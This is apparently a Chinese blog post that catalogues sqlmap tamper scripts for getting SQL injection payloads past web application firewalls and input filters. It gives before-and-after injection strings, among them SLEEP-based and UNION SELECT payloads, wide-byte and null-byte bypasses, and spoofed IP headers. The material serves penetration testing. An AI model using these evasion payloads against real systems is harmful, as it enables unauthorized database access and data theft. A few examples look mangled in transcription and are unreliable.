sqlmap常用tamper汇总及使用指导

最新推荐文章于 2025-04-15 11:27:01 发布

原创最新推荐文章于 2025-04-15 11:27:01 发布

· 2.2k 阅读

15 ·

版权

文章标签：

#数据库 #渗透测试 #安全 #sql

SQL注入专栏收录该内容

8 篇文章

订阅专栏

遍历tamper脚本

GitHub - m4ll0k/Atlas: Quick SQLMap Tamper Suggester

一、编码：

1.1 base64encode.py

base64编码所有字符

("1' AND SLEEP(5)#")

替换后

'MScgQU5EIFNMRUVQKDUpIw=='

1.2 charencode.py

URL编码

SELECT FIELD FROM%20TABLE

替换后

%53%45%4c%45%43%54%20%46%49%45%4c%44%20%46%52%4f%4d%20%54%41%42%4c%45

已经测试过的数据库：Microsoft SQL Server 2005

MySQL 4, 5.0 and 5.5

Oracle 10g

PostgreSQL 8.3, 8.4, 9.0

1.3 chardoubleencode.py

二次URL编码(不处理已编码的)

SELECT FIELD FROM%20TABLE

替换后

%2553%2545%254c%2545%2543%2554%2520%2546%2549%2545%254c%2544%2520%2546%2552%254f%254d%2520%2554%2541%2542%254c%2545

1.4 charunicodeencode.py

unicode编码

SELECT FIELD%20FROM TABLE

替换后

%u0053%u0045%u004c%u0045%u0043%u0054%u0020%u0046%u0049%u0045%u004c%u0044%u0020%u0046%u0052%u004f%u004d%u0020%u0054%u0041%u0042%u004c%u0045′

必要条件:ASP,ASP.NET
使用数据库：Microsoft SQL Server 2000
Microsoft SQL Server 2005
MySQL 5.1.56
PostgreSQL 9.0.3

1.5 charunicodeescape.py

url解码中的%篡改成\\

1.6 htmlencode.py

html编码

二、空格过滤

2.1 overlongutf8.py

空格替换为%C0%A0

2.2 space2comment.py

空格替换成/**/

'SELECT id FROM users'

替换后

'SELECT/**/id/**/FROM/**/users'

2.3 space2morecomment.py

空格替换成/**_**/

已经测试过的数据库：mysql5.0 and 5.5

'SELECT id FROM users'

替换后

'SELECT/**_**/id/**_**/FROM/**_**/users'

2.4 space2mssqlblank.py

将空格替换成随机的以下字符(mssql)

'%01', '%02', '%03', '%04', '%05', '%06', '%07', '%08', '%09', '%0B', '%0C', '%0D', '%0E', '%0F', '%0A'

'SELECT id FROM users'

替换后

'SELECT%0Did%0DFROM%04users'

适用数据库：Microsoft SQL Server

已经测试过的数据库：sql server 2000 sql server 2005

2.5 space2mssqlhash.py

将空格替换成%23%0A

适用数据库：mssql mysql

2.6 space2mysqlblank.py

作用：空格替换其它空白符号(mysql)

SELECT id FROM users

替换后

SELECT%0Bid%0BFROM%A0users

2.7 space2mysqldash.py

作用：替换空格字符（' '）（' – '）后跟一个破折号注释一个新行（' n'）

('1 AND 9227=9227')

替换后

'1--%0AAND--%0A9227=9227'

2.8 space2plus.py

将空格替换成+

('SELECT id FROM users')

替换后

'SELECT+id+FROM+users'

2.9 space2randomblank.py

将空格替换成以下随机的字符

"%09", "%0A", "%0C", "%0D"

测试过的数据库：

Microsoft SQL Server 2005

MySQL 4, 5.0 and 5.5

Oracle 10g

PostgreSQL 8.3, 8.4, 9.0

2.10 space2hash.py

作用：绕过过滤‘=’ 替换空格字符（”），（’ – ‘）后跟一个破折号注释，一个随机字符串和一个新行（’ n’）

'1 AND 9227=9227'

替换后

'1--nVNaVoPYeva%0AAND--ngNvzqu%0A9227=9227'

三、union关键词替换

3.1 0eunion.py

使用e0UNION替换UNION

已经测试过的数据库：Mysql,Mssql

3.2 dunion.py

将UNION换成DUNION

必要条件：Oracle

3.3 misunion.py

UNION篡改为-.1UNION

3.4 unionalltonnion.py

将union all select 替换成union select

'-1 UNION ALL SELECT'

替换后

'-1 UNION SELECT'

3.5 unionalltounion.py

替换UNION ALL SELECT 为UNION SELECT

('-1 UNION ALL SELECT')

替换后

'-1 UNION SELECT'

四、符号

4.1 apostrophemask.py

把双引号替换为单引号，将'替换成UTF-8url编码的%EF%BC%87

4.2 apostrophenullencode.py

将'替换成%00%27

("1 AND '1'='1")

替换后

'1 AND %00%271%00%27=%00%271'

4.3 between.py

将>字符替换为NOT BETWEEN 0 AND

将=字符替换为BETWEEN # AND # （这个#看下面的例子）

'1 AND A = B--'

替换后

'1 AND A BETWEEN B AND B--'

已经测试过的数据库：Microsoft SQL Server 2005
MySQL 4, 5.0 and 5.5
Oracle 10g
PostgreSQL 8.3, 8.4, 9.0

4.4 greatest.py

使用greatest替换>

('1 AND A > B')

替换后

'1 AND GREATEST(A,B+1)=A'

已经测试过的数据库：MySQL 4, 5.0 and 5.5
Oracle 10g
PostgreSQL 8.3, 8.4, 9.0

4.5 symboliclogical.py

将and和or的逻辑运算符分别替换为(&&和||)

"1 AND '1'='1"

替换后

"1 %26%26 '1'='1"

4.6 bluecoat.py

将sql语句后的空格字符替换为%09，LIKE替换字符=

已经测试过的数据库：mysql5.1之前

4.7 commalesslimit.py

替换字符的位置

'LIMIT 2, 3'

替换后

'LIMIT 3 OFFSET 2'

必要条件：mysql

已经测试过的数据库：mysql5.0，mysql5.5

4.8 concat2concatws.py

将concat(a,b)替换成concat_ws(mid(char(0),0,0),a,b)

'CONCAT(1,2)'

替换后

CONCAT_WS(MID(CHAR(0),0,0),1,2)

必要条件：mysql

已经测试过的数据库：mysql5.0

4.9 equaltolike.py

将=篡改成LIKE

SELECT * FROM users WHERE id=1

替换成

SELECT * FROM users WHERE id LIKE 1

已经测试过的数据库：Microsoft SQL Server 2005

MySQL 4, 5.0 and 5.5

4.10 equaltorlike.py

将=篡改成RLIKE

4.11 ifnull2ifisnull.py

作用：绕过对 IFNULL 过滤。

('IFNULL(1, 2)')

替换后

'IF(ISNULL(1),2,1)'

五、特殊绕过

5.1 randomcase.py

随机大小写

'function()'

替换后

'FuNcTiOn()'

5.2 lowercase.py

将字符转换为小写

5.3 uppercase.py

将关键字符替换成大写

'insert'

替换后

'INSERT'

已经测试过的数据库：Microsoft SQL Server 2005
MySQL 4, 5.0 and 5.5
Oracle 10g
PostgreSQL 8.3, 8.4, 9.0

5.4 multiplespaces.py

在sql关键字周围添加多个空格

'1 UNION SELECT foobar'

替换后

'1 UNION SELECT foobar'

5.5 percentage.py

在每一个字符前面添加一个百分比符号，asp语言允许

'SELECT FIELD FROM TABLE'

替换后

'%S%E%L%E%C%T %F%I%E%L%D %F%R%O%M %T%A%B%L%E'

5.6 sp_password.py

将sp_password附加到有效负载的末尾，用来混淆

'1 AND 9227=9227-- '

替换后

'1 AND 9227=9227-- sp_password'

必要条件：mssql

5.7 varnish.py

附加一个HTTP头来 X-originating-IP = "127.0.0.1" 来绕过防火墙

5.8 xforwardedfor.py

附加一个虚假的HTTP头“X-Forwarded-For”

headers = kwargs.get("headers", {})headers["X-Forwarded-For"] = randomIP()return payload

5.9 unmagicquotes.py

作用：宽字符绕过 GPC addslashes

1′ AND 1=1

替换后

1%bf%27 AND 1=1--

5.10 appendnullbyte.py

作用：在有效负荷结束位置加载零字节字符编码(Microsoft Access数据库)

('1 AND 1=1')

替换后

'1 AND 1=1%00'

六、注释绕过

6.1 randomcomments.py

用/**/分割sql关键字

'INSERT'

替换成

'I/**/NS/**/ERT'

6.2 halfversionedmorekeywords.py

在每个关键字之前添加mysql版本注释

"value' UNION ALL SELECT CONCAT(CHAR(58,107,112,113,58),IFNULL(CAST(CURRENT_USER() AS CHAR),CHAR(32)),CHAR(58,97,110,121,58)), NULL, NULL# AND 'QDWa'='QDWa"

替换成

"value'/*!0UNION/*!0ALL/*!0SELECT/*!0CONCAT(/*!0CHAR(58,107,112,113,58),/*!0IFNULL(CAST(/*!0CURRENT_USER()/*!0AS/*!0CHAR),/*!0CHAR(32)),/*!0CHAR(58,97,110,121,58)),/*!0NULL,/*!0NULL#/*!0AND 'QDWa'='QDWa"

必要条件：mysql<5.1

已经测试过的数据库：mysql4.0.18，5.0.22

6.3 modsecurityversioned.py

作用：过滤空格，包含完整的查询版本注释

('1 AND 2>1--')

替换后

'1 /*!30874AND 2>1*/--'

6.4 modsecurityzeroversioned.py

作用：包含了完整的查询与零版本注释

('1 AND 2>1--')

替换后

'1 /*!00000AND 2>1*/--'

6.5 versionedkeywords.py

作用：对不是函数的关键字进行注释绕过

1 UNION ALL SELECT NULL, NULL, CONCAT(CHAR(58,104,116,116,58),IFNULL(CAST(CURRENT_USER() AS CHAR),CHAR(32)),CHAR(58,100,114,117,58))#

替换后

1/!UNION//!ALL//!SELECT//!NULL/,/!NULL/, CONCAT(CHAR(58,104,116,116,58),IFNULL(CAST(CURRENT_USER()/!AS//!CHAR/),CHAR(32)),CHAR(58,100,114,117,58))#

6.6 versionedmorekeywords.py

作用：注释每一个关键字包括函数关键字

1 UNION ALL SELECT NULL, NULL, CONCAT(CHAR(58,122,114,115,58),IFNULL(CAST(CURRENT_USER() AS CHAR),CHAR(32)),CHAR(58,115,114,121,58))#

替换后

1/!UNION//!ALL//!SELECT//!NULL/,/!NULL/,/!CONCAT/(/!CHAR/(58,122,114,115,58),/!IFNULL/(CAST(/!CURRENT_USER/()/!AS//!CHAR/),/!CHAR/(32)),/!CHAR/(58,115,114,121,58))#